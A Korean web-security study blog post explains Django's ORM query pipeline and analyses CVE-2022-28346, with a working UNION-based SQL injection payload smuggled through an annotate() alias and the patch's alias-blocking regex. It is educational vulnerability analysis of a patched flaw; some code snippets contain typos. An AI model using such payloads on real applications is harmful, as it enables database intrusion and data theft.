Study/Web Hacking Study

[WebHacking Study] ORM 데이터베이스 모듈에서 발생하는 ORM Injection 원리 분석 (Feat. Django)

반응형
SMALL

공부를 진행하게 된 이유

최근 ORM 기반 데이터베이스 모듈을 사용하면서 프로젝트를 개발할 일이 잦아지다 보니, ORM 모듈 (Sequelize, Django 등) 에서는 SQL Injection 취약점이 정말 없을까?에 대한 의문점에서부터 공부를 시작하게 되었습니다.

 

저번 26회 동계 해킹캠프때, Django에서 SQL Injection이 발생하는 1-day가 존재한다고 들었던거 같은데, 기억이 잘 나지 않아 다시 블로그와 관련 글을 찾아보면서 공부를 진행하였습니다.

 

해당 스터디에서 이번에 발견한 Django ORM Injection의 발생 백터와 직접 익스플로잇을 진행해보면서 정리해보려고 합니다.

ORM 소개

ORM이란 Object Relational Mapping(객체 관계 매핑)의 약자로 프로그래밍 환경에서 DB SQL 쿼리의 가독성을 더 높이고, 보안을 강화하는데에 중요한 역할을 담당합니다. 아래는 대표적인 ORM의 장점들을 나열한 것 입니다.

1. 코드의 재사용성과 생산성 증가
2. 유지보수의 간편함
3. 객체(메서드) 단위로 DBMS를 조작할 수 있고, 직관적이며 코드의 가독성이 높아짐
4. 개발자가 비즈니스 로직에 집중할수 있도록 기여함
5. Low SQL Query에 비하여 높은 보안

 

대표적인 ORM 모듈로, Node.js에서는 Sequelize ORM 모듈이 존재하고, Python에서는 Django가 존재합니다.

 

Web-Hacking을 진행하면서, ORM 사용의 중요한 장점은 보안이 강화됩니다. 일반적인 SQL Query에 직접적으로 값들을 매핑하는 것보다 훨씬 더 보안이 강력해집니다.

const mysql = require("mysql");

const userid = 'test';
const query = 'SELECT * FROM table WHERE userid=' + test;

connection.query(query, (err, result) => {
  if (err) throw err;
  console.log(result);
});

 

 

위의 코드는 일반적인 mysql 모듈을 불러와, 직접적으로 쿼리에 대입해 실행하는 예시입니다, 읽기도 상대적으로 불편하기도 하며 보안에도 그리 좋지 못합니다.

const sequelize = require("sequelize");
const models = require("../models");

const userid = "test";

models.table.findOne({
  where: {
    userid: userid
  }
}).then((result) => console.log(result));

// SELECT * FROM table WHERE userid="test";

 

위는 sequelize ORM을 사용한 SELECT 쿼리문의 예시입니다, mysql 모듈을 사용한 쿼리와 동일한 쿼리문을 수행하지만 메서드 단위로 분리되어 훨씬 더 가독성이 좋고, 직관적입니다.

 

이와 같이 ORM은 직접적인 SQL Query 사용보다, 더 많은 장점이 존재하기 때문에 객체 지향 프로그래밍 언어에서 웹 서비스 개발을 진행할때, 거의 필수로 사용되는 요소입니다.

Django ORM 동작원리

ORM도 결국에는 쿼리를 사용하여 데이터베이스에 쿼리문을 전달해야합니다, Django 프레임워크에서 ORM의 동작 원리를 살펴보겠습니다.

 

아래는 전체적인 Django ORM의 동작원리를 축약해놓은 것 입니다. 

1. priveate 내부 메서드 실행
2. _fetch_all() 메서드 실행
3. SQL Compiler 로드
4. execute_sql 메서드 실행

 

1.  private 내부 메서드 실행

Django는 기본적으로 쿼리를 실행할때, 내부 메서드를 통해서 쿼리문에 값을 매핑하고 실행합니다.

 

그중 가장 먼저 쿼리를 만들어야 하는데, 이때 사용되는 QuerySet이라는 클래스가 사용됩니다.

 

SQL Query를 실행하기 위해 QuerySet 클래스에 내부 메서드를 실행시킨다고 해서 바로 쿼리가 실행되지 않습니다. 이러한 이유는 쿼리의 결과를 최대한 효율적으로 사용하기 위함입니다.

 

Django는 가장 먼저 QuerySet 클래스 내부에 정의된 특정 매직 메서드(__get__, __state__, __len__, __iter__)에서 _fetch_all 메서드를 수행함으로써 실제 SQL Query 실행 과정이 시작됩니다.

# django.db.models.query.QuerySet

def __len__(self):
	self._fetch_all()
    return len(self._result_cache)

2. _fetch_all 메서드 실행

_fetch_all 내부 메서드에서는 기본적으로 _result_cache 값의 검사를 진행합니다.

 

일반적으로 처음 쿼리가 실행될때, self._result_cache의 값은 None으로 정의되어 있습니다, 캐시에 로드된 데이터가 존재하지 않으면, self._iterable_class에 self를 인수로 전달해 나온 쿼리의 결과가 list() 함수를 거쳐, self._result_cache에 저장됩니다.

 

이때 넘겨지는 self는 QuerySet의 클래스가 넘겨집니다.

 

코드에 담겨있지는 않지만 self._iterable_class 값은 Model.objects.values 메서드로 쿼리를 실행하는 경우를 제외하고는 django.db.models.query.Modeliterable 클래스로 설졍되게 됩니다.

# _fetch_all definded in django.db.models.QuerySet

def _fetch_all(self):
	if self._result_cache is None:
    		self._result_cache = list(self._iterable_class(self))
    	if self._prefetch_related_lookups and not self._prefetch_done:
    		self._prefetch_related_objects()

3. SQL Compiler 로드

Django는 한 종류의 SQL만 아니라, 여러가지 종류 SQL(mysql, sqlite, oracle, etc) 을  사용할 수 있습니다.

 

즉, SQL 종류별로 작성되는 SQL 쿼리문이 다르기 때문에 이를 분류하고 Compiler를 설정하는 작업이 필요합니다. 이는, Modeliterable 클래스에서 담당합니다.

 

Modeliterable 클래스 내부에 정의된 __iter__ 메서드가 list 함수에 의해 호출되며, execute_sql 메서드가 실행됩니다, 이때 db에 저장되는 값은 settings.py의 DATABASES 값에 지정된 키값입니다.

# django.db.models.query.Modeliterable

class ModelIterable(BaseIterable):
	
    def __iter__(self):
    	queryset = self.queryset
        db = queryset.db
        compiler = queryset.query.get_compiler(using=db)
        
        results = compiler.execute_sql(
        	chunked_fetch=self.chunked_fetch, chunk_size=self.chunk_size
        )

 

Django의 SQL Compiler로 적재될 SQL은 처음 Django 프로젝트의 디렉터리에 있는 settings.py의 DATABASES 값에 지정된 키 값이 들어갑니다.

# settings.py

DATABASES = {
	"default": {
    	"ENGINE": "django.db.backends.sqlite3",
        "NAME": BASE_DIR / "db.sqlite3"
    }
}

 

ModelIterable 클래스에서 get_compiler 메서드가 실행되면 내부적으로 django.sql.query.Query 클래스에 정의된 get_compiler 메서드를 실행하게 됩니다, 이때 settings.py에 정의한 데이터베이스에 해당하는 SQL Compiler를 반환합니다.

4. execute_sql 메서드 실행

SQL_Compiler가 로드되고 나면, SQLCompiler에 정의되어있는 execute_sql 메서드가 실행되면서 최종적으로 SQL 쿼리문이 데이터베이스에 전달되게 됩니다.

# execute_sql (django.db.models.sql.compiler.SQLCompiler)

def execute_sql(self, result_type=MULTI, chunked_fetch=False, chunk_size=GET_INERATOR_CHUNK_SIZE):
    ...
    
    try:
    	cursor.execute(sql, params)
    except Exception:
    	cursor.close()
        raise
        
    ...

 

위 코드와 같이 sql과, params 값을 인수로 설정하여 cursor.execute 메서드를 실행하게 됩니다.

 

즉, 최종적으로 SQL 쿼리문이 완성되고 이를 실행하게 됩니다.

ORM Injection 발생 분석

해당 취약점은 2022년에 django 4.0.3 이전 버전에서 발생하게 됩니다. (CVE-2022-28346)

 

4.0.3 django 버전에서 발견된 취약점 CVE는 총 3개이지만, 이중에서 가장 발생 확률이 높은 CVE를 POC로 다뤄보려고 합니다.

 

해당 취약점이 발생하는 메서드는 django.db.models.query에 지정된 QuertSet 클래스 내의 annotate, aggregate, extra 메서드입니다.

 

해당 메서드는 공통적으로 alias 기능이 내포되어 있다는 특징이 존재합니다.

alias (별칭) : SQL 에서 AS 등을 이용해 테이블 또는 열의 이름을 임시로 바꾸는 데 사용하는 기능입니다, 쿼리의 가독성을 높이고 복잡한 쿼리의 결과를 더 쉽게 이해할 수 있도록 돕는 역할을 합니다.

 

annotate 메서는 아래와 같이 사용합니다.

from django.shortcuts import render
from django.http import HttpResponse
from django.db.models import Count
from django.utils import timezone
from .models import Post

pubs = Post.objects.annotate(count_title=Count("title"))

print(pubs[0].count_title)

 

해당 취약점은 annotate 메서드에 인수를 위와 같이 전달하지 않고, kwargs key 값으로 alias를 지정할때, key 값의 검증 미흡으로 취약점이 발생하게 됩니다.

발생 원리

annoate 메서드를 실행하게 된다면 내부적으로 QuerySet 클래스의 _annoate 메서드를 실행하게 됩니다.

class QuerySet:
	def _annoate(self, args, kwargs, select=True):
    	...
        annotations = {}
       	...
        annotations.update(kwargs)
        
        clone = self._chain()
        names = self._fields
        
        for alias, annotation in annotations.items():
        ...
            else:
            	clone.query.add_annotation(
                	annotation,
                    alias,
                    is_summary=True,
                    select=select,
                )
                
	return clone

 

kargs로 전달된 정보를 내부 변수인 annotations에 저장하고, 해당 값을 add_annotation 메서드에 인수로 전달합니다.

class Query(BaseExpression):
	...
    @property
    def annotation_select(self):
    	...
        if self._annotation_select_cache is not None:
        	reutrn self._annotation_select_cache
        ...
        else:
        	return self.annotations
    ...
    def add_annotation(
    	self, annotation, alias, is_summary=False, select=True
    ):
    	annotation = annotation.resolve_expression(
        	self, allow_joins=True, reuse=None, summarize=is_summary
        )
        if select:
        	self.append_annotation_mask([alias])
        else:
        	self.set_annotation_mask(
            		set(self.annotation_select).difference({alias})
            	)
            
        self.annotations[alias] = annotation

 

_annotate 메서드에 전달된 annotations를 내부 self.annotations에 설정하여 alias 기능을 구현하게 됩니다.

 

이는 추후 SQL로 쿼리문을 만들때, alias를 별칭으로 사용하고 annotation을 사용한다는 의미가 됩니다, 여기서 annotation을 가져올 때, annotation_select 함수를 실행하여, annotations을 반환합니다.

 

이후 SQLCompiler를 실행하여 실제로 실행될 SQL 쿼리문을 생성합니다. 이때 alias에 지정된 값은 AS 구문으로 별칭으로 지정됩니다.

class SQLCompiler:
    ...
    as_sql(self, with_limits=True, with_col_aliases=False):
    	for _, (s_sql, s_params), alias in self.select + extra_select:
        	if alias:
            	s_sql = "%s AS %s" % (
                	s_sql,
                    self.connection.ops.quote_name(alias),
                )
        ...

 

이때 alias로 AS 구문으로 별칭이 들어갈때, self.connection.quote_name 메서드를 거쳐서 SQL에 들어가게 됩니다.

 

quote_name 메서드는 각 DBMS 종류별로 다르게 정의되어 있습니다 (DBMS 별로 실행되는 쿼리문 형식이 다르기 때문)

 

아래는 sqlite3의 quote_name 메서드의 정의 된 방식입니다.

def quote_name(self, name):
        if name.startswith('"') and name.endswith('"'):
            return name  # Quoting once is enough.
        return '"%s"' % name

 

quote_name 메서드를 살펴보면, 인수로 전달된 alias 파라미터 값의 시작과 끝 부분에 "로 마스킹 처리하여 반환하는 작업을 진행합니다.

 

즉, 별다른 필터링 작업이 진행되지 않기 때문에 alias 부분에 SQL Injection 페이로드를 주입한다면, 성공적으로 SQL Injection 공격이 django ORM에서 트리거 될 수 있습니다.

Exploit

해당 취약점은 django 4.0.3 이후의 버전에서는 동작하지 않습니다.

from django.shortcuts import render
from django.http import HttpResponse
from django.db.models import Count
from django.utils import timezone
from .models import Post

import datetime
import os

# Create your views here.
def index(request):
    posts = [] 
    payload = 'title" FROM "polls_post" UNION SELECT "10000,", sqlite_version(), "content", "published_date", "10" -- '

    pubs = Post.objects.annotate(**{payload: Count("title")})

    for pubs in pubs:
        print(pubs.title)

    return HttpResponse("Hello, world. You're at the polls index.")

아래는 간단한 Django의 기본 프로젝트로 생성한 views.py에 작성한 코드입니다.

 

payload 값에 보면 " 마스킹 처리 부분을 더블 쿼터로 bypass 하고, UNION문을 사용해서 SQL Injection을 발생시킵니다.

 

annotate 메서드 부분에 인수를 전달할때, 일반적인 방법인 key=value의 형식으로 전달하지 않고 kwargs로 전달하게 된다면, key 값을 원하는 값으로 바꿀 수 있습니다.

 

결국 최종적으로 완성되어 SQL 쿼리문으로 실행되는 쿼리는 아래와 같을 것 입니다.

SELECT COUNT("title") AS "title" FROM "polls_post" UNION SELECT "10000,", sqlite_version(), "content", "published_date", "10" --  FROM "polls_post"

 

뒤에 정상적인 쿼리부분은 주석으로 처리되어서 실행되지 않고 무시될 것입니다.

Patch

해당 취약점은 4.0.3 버전 이후로 수정되었습니다.

 

django.models.sql.query.Query 클래스에서 add_annotation 메서드를 수행할 때, 내부적으로 check_alias 함수를 호출하는 방법으로 취약점이 패치되었습니다.

FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r"['`\"]/[;\s]|--|/\*|\*/")

class Query(BaseExpression):
	def check_alias(self, alias):
    	if FORBIDDEN_ALIAS_PATTERN.search(alias):
        	raise ValueError()
    
    def add_annotation(...):
    	self.check_alias(alias)
        ...

정리하며

이번 공부를 통해 아무리 ORM을 사용하더라도, SQL Injection에 안전하지 않다는 것을 새롭게 알 수 있었습니다.

 

비록 처음부터 끝까지 혼자서 프레임워크를 분석한 것은 아니지만 간접적으로라도 1-day 관련 코드를 분석하고 취약점 발생 원리를 알 수 있어서 뜻깊었던 것 같습니다.

 

또한 이번 공부를 통해 ORM에서 쿼리문을 실행하는 원리와 방법에 대해 더 자세히 알게 되었습니다.

 

앞으로 관련 웹서비스 프로젝트를 진행할때, ORM을 사용하더라도 내부적으로 SQL Injection을 확인하는 메서드를 추가해야겠다는 생각이 들었고, 현재 개발중인 프로젝트에서도 관련 필터링 메서드를 추가해야겠다는 생각이 들었습니다

출처 &&  참고자료

https://blog.ch4n3.kr/569

 

How does Django execute SQL Query? (Korean version)

How does Django execute SQL Query? Django에서는 내부적으로 ORM 기능을 구현해두어 데이터베이스 연동 번거로움을 최소화해두었다. 또한, Django에서 지원해주는 ORM 기능 덕분에 Django에서는 보통 SQL Injection

blog.ch4n3.kr

https://ufo.stealien.com/2022-12-16/analyzing-django-orm-with-1-day

 

STEALIEN Technical Blog

Analyzing Django ORM with 1-day vulnerabilities and sql bug

ufo.stealien.com

https://github.com/django/django/commit/93cae5cb2f9a4ef1514cf1a41f714fef08005200

 

Fixed CVE-2022-28346 -- Protected QuerySet.annotate(), aggregate(), a… · django/django@93cae5c

…nd extra() against SQL injection in column aliases. Thanks Splunk team: Preston Elder, Jacob Davis, Jacob Moore, Matt Hanson, David Briggs, and a security researcher: Danylo Dmytriiev (DDV_UA) fo...

github.com

https://www.cve.org/CVERecord?id=CVE-2022-28346 

 

cve-website

 

www.cve.org

https://github.com/vincentinttsh/CVE-2022-28346

 

GitHub - vincentinttsh/CVE-2022-28346: An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.

An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(), aggregate(), and extra() methods are subject to SQL injection in column aliases vi...

github.com

https://royzero.tistory.com/68

 

[SQL] 별칭(Alias) 활용하기

 흔히 한국어로는 별칭이지만, 주로 Alias라고 많이 이야기하는 이 녀석은 테이블이나 특정 컬럼에 대해 새로운 이름을 지정해주는 것과 같습니다. 이를 사람에 대비하면, 이름과 같습니다. 사람

royzero.tistory.com

https://gmlwjd9405.github.io/2019/02/01/orm.html

 

[DB] ORM이란 - Heee's Development Blog

Step by step goes a long way.

gmlwjd9405.github.io

 

반응형
LIST

'Study > Web Hacking Study' 카테고리의 다른 글

[WebHacking Study] Log4Shell (Log4j) 취약점 분석  (34) 2023.09.23